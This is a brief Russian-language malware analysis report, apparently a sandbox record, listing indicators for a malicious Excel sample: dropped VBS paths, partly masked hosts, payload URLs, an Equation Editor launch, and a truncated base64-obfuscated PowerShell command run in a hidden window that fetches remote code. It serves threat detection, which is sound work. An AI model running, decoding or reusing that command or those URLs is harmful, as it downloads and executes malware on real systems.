Техническая информация
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\nicepicturewithyourebodygreen.vBS"
- %APPDATA%\nicepicturewithyourebodygreen.vbs
- <Текущая директория>\15da0000
- <PATH_SAMPLE>.xls
- 'st##r.co':443
- '10#.#68.32.148':80
- 'ra#.####ubusercontent.com':443
- http://10#.#68.32.148/550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc
- http://10#.#68.32.148/550/nicepicturewithyourebodygreen.tIF
- 'st##r.co':443
- 'ra#.####ubusercontent.com':443
- DNS ASK st##r.co
- DNS ASK ra#.####ubusercontent.com
- '%ProgramFiles%\microsoft office\office14\winword.exe' -Embedding
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvT... (со скрытым окном)